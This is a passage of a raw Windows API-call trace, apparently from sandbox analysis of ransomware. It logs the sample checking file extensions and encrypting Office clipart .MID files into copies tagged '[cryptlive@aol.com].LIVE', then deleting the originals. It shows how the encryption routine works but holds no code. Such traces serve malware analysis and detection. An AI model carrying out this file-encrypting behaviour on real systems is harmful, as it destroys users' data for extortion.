(lpString1=".ppt", lpString2=".rll") returned -1 [0132.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.944] lstrlenW (lpString=".zip") returned 4 [0132.944] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0132.944] lstrlenW (lpString=".rar") returned 4 [0132.944] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0132.944] lstrlenW (lpString=".bz2") returned 4 [0132.944] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0132.944] lstrlenW (lpString=".7z") returned 3 [0132.944] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0132.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.944] lstrlenW (lpString=".dbf") returned 4 [0132.944] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0132.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.944] lstrlenW (lpString=".1cd") returned 4 [0132.944] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0132.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.944] lstrlenW (lpString=".jpg") returned 4 [0132.944] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0132.944] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0132.944] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0132.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0133.701] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6970) returned 1 [0133.701] CloseHandle (hObject=0x350) returned 1 [0133.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0133.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0133.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0133.716] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.716] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0133.817] GetLastError () returned 0x0 [0133.817] ReadFile (in: hFile=0x1ec, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x1b3a, lpOverlapped=0x0) returned 1 [0133.820] WriteFile (in: hFile=0x1e4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1b40, lpOverlapped=0x0) returned 1 [0133.821] ReadFile (in: hFile=0x1ec, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0133.821] WriteFile (in: hFile=0x1e4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0133.821] SetEndOfFile (hFile=0x1e4) returned 1 [0133.824] CloseHandle (hObject=0x1e4) returned 1 [0133.824] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.824] SetEndOfFile (hFile=0x1ec) returned 1 [0133.826] CloseHandle (hObject=0x1ec) returned 1 [0133.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0133.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0133.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.853] lstrlenW (lpString=".doc") returned 4 [0133.853] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0133.853] lstrlenW (lpString=".docx") returned 5 [0133.853] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0133.853] lstrlenW (lpString=".pdf") returned 4 [0133.853] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0133.853] lstrlenW (lpString=".xls") returned 4 [0133.853] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0133.853] lstrlenW (lpString=".xlsx") returned 5 [0133.853] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0133.853] lstrlenW (lpString=".ppt") returned 4 [0133.853] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0133.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.853] lstrlenW (lpString=".zip") returned 4 [0133.853] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0133.853] lstrlenW (lpString=".rar") returned 4 [0133.853] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0133.853] lstrlenW (lpString=".bz2") returned 4 [0133.853] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0133.853] lstrlenW (lpString=".7z") returned 3 [0133.853] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0133.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.854] lstrlenW (lpString=".dbf") returned 4 [0133.854] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0133.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.854] lstrlenW (lpString=".1cd") returned 4 [0133.854] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0133.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.854] lstrlenW (lpString=".jpg") returned 4 [0133.854] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0133.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.854] lstrlenW (lpString=".doc") returned 4 [0133.854] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0133.854] lstrlenW (lpString=".docx") returned 5 [0133.854] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0133.854] lstrlenW (lpString=".pdf") returned 4 [0133.854] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0133.854] lstrlenW (lpString=".xls") returned 4 [0133.854] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0133.854] lstrlenW (lpString=".xlsx") returned 5 [0133.854] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0133.854] lstrlenW (lpString=".ppt") returned 4 [0133.854] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0133.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.854] lstrlenW (lpString=".zip") returned 4 [0133.854] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0133.854] lstrlenW (lpString=".rar") returned 4 [0133.854] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0133.854] lstrlenW (lpString=".bz2") returned 4 [0133.854] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0133.854] lstrlenW (lpString=".7z") returned 3 [0133.855] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0133.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.855] lstrlenW (lpString=".dbf") returned 4 [0133.855] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0133.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.855] lstrlenW (lpString=".1cd") returned 4 [0133.855] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0133.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0133.855] lstrlenW (lpString=".jpg") returned 4 [0133.855] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0133.855] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0133.855] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0133.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0133.855] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=10562) returned 1 [0133.856] CloseHandle (hObject=0x384) returned 1 [0133.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0133.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0133.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0133.856] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.856] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0133.857] GetLastError () returned 0x0 [0133.857] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x2942, lpOverlapped=0x0) returned 1 [0133.880] WriteFile (in: hFile=0x388, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2950, lpOverlapped=0x0) returned 1 [0133.881] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0133.881] WriteFile (in: hFile=0x388, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0133.881] SetEndOfFile (hFile=0x388) returned 1 [0133.882] CloseHandle (hObject=0x388) returned 1 [0133.882] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.882] SetEndOfFile (hFile=0x384) returned 1 [0133.943] CloseHandle (hObject=0x384) returned 1 [0133.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0133.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0133.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.976] lstrlenW (lpString=".doc") returned 4 [0133.976] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0133.976] lstrlenW (lpString=".docx") returned 5 [0133.976] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0133.976] lstrlenW (lpString=".pdf") returned 4 [0133.976] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0133.976] lstrlenW (lpString=".xls") returned 4 [0133.976] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0133.976] lstrlenW (lpString=".xlsx") returned 5 [0133.976] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0133.976] lstrlenW (lpString=".ppt") returned 4 [0133.976] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0133.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.976] lstrlenW (lpString=".zip") returned 4 [0133.976] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0133.976] lstrlenW (lpString=".rar") returned 4 [0133.976] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0133.976] lstrlenW (lpString=".bz2") returned 4 [0133.976] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0133.976] lstrlenW (lpString=".7z") returned 3 [0133.976] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0133.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.976] lstrlenW (lpString=".dbf") returned 4 [0133.976] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0133.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.976] lstrlenW (lpString=".1cd") returned 4 [0133.977] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0133.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.977] lstrlenW (lpString=".jpg") returned 4 [0133.977] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0133.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.977] lstrlenW (lpString=".doc") returned 4 [0133.977] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0133.977] lstrlenW (lpString=".docx") returned 5 [0133.977] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0133.977] lstrlenW (lpString=".pdf") returned 4 [0133.977] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0133.977] lstrlenW (lpString=".xls") returned 4 [0133.977] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0133.977] lstrlenW (lpString=".xlsx") returned 5 [0133.977] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0133.977] lstrlenW (lpString=".ppt") returned 4 [0133.977] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0133.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.977] lstrlenW (lpString=".zip") returned 4 [0133.977] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0133.977] lstrlenW (lpString=".rar") returned 4 [0133.977] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0133.977] lstrlenW (lpString=".bz2") returned 4 [0133.977] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0133.977] lstrlenW (lpString=".7z") returned 3 [0133.977] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0133.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.978] lstrlenW (lpString=".dbf") returned 4 [0133.978] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0133.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.978] lstrlenW (lpString=".1cd") returned 4 [0133.978] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0133.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0133.978] lstrlenW (lpString=".jpg") returned 4 [0133.978] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0133.978] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0133.978] lstrlenW (lpString="FINCL_01.MID") returned 12 [0133.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0134.006] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=12981) returned 1 [0134.006] CloseHandle (hObject=0x1fc) returned 1 [0134.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20 [0134.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0134.049] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.049] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.085] GetLastError () returned 0x0 [0134.085] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x32b5, lpOverlapped=0x0) returned 1 [0134.095] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0134.096] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.096] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.096] SetEndOfFile (hFile=0x350) returned 1 [0134.097] CloseHandle (hObject=0x350) returned 1 [0134.097] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.097] SetEndOfFile (hFile=0x38c) returned 1 [0134.103] CloseHandle (hObject=0x38c) returned 1 [0134.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0134.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.129] lstrlenW (lpString=".doc") returned 4 [0134.129] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.129] lstrlenW (lpString=".docx") returned 5 [0134.129] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.129] lstrlenW (lpString=".pdf") returned 4 [0134.129] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.129] lstrlenW (lpString=".xls") returned 4 [0134.129] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.129] lstrlenW (lpString=".xlsx") returned 5 [0134.129] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.129] lstrlenW (lpString=".ppt") returned 4 [0134.129] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.130] lstrlenW (lpString=".zip") returned 4 [0134.130] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.130] lstrlenW (lpString=".rar") returned 4 [0134.130] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.130] lstrlenW (lpString=".bz2") returned 4 [0134.130] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.130] lstrlenW (lpString=".7z") returned 3 [0134.130] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.130] lstrlenW (lpString=".dbf") returned 4 [0134.130] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.130] lstrlenW (lpString=".1cd") returned 4 [0134.130] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.130] lstrlenW (lpString=".jpg") returned 4 [0134.130] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.130] lstrlenW (lpString=".doc") returned 4 [0134.130] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.130] lstrlenW (lpString=".docx") returned 5 [0134.130] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.130] lstrlenW (lpString=".pdf") returned 4 [0134.130] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.130] lstrlenW (lpString=".xls") returned 4 [0134.130] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.130] lstrlenW (lpString=".xlsx") returned 5 [0134.130] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.130] lstrlenW (lpString=".ppt") returned 4 [0134.130] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.130] lstrlenW (lpString=".zip") returned 4 [0134.131] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.131] lstrlenW (lpString=".rar") returned 4 [0134.131] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.131] lstrlenW (lpString=".bz2") returned 4 [0134.131] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.131] lstrlenW (lpString=".7z") returned 3 [0134.131] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.131] lstrlenW (lpString=".dbf") returned 4 [0134.131] lstrcmpiW 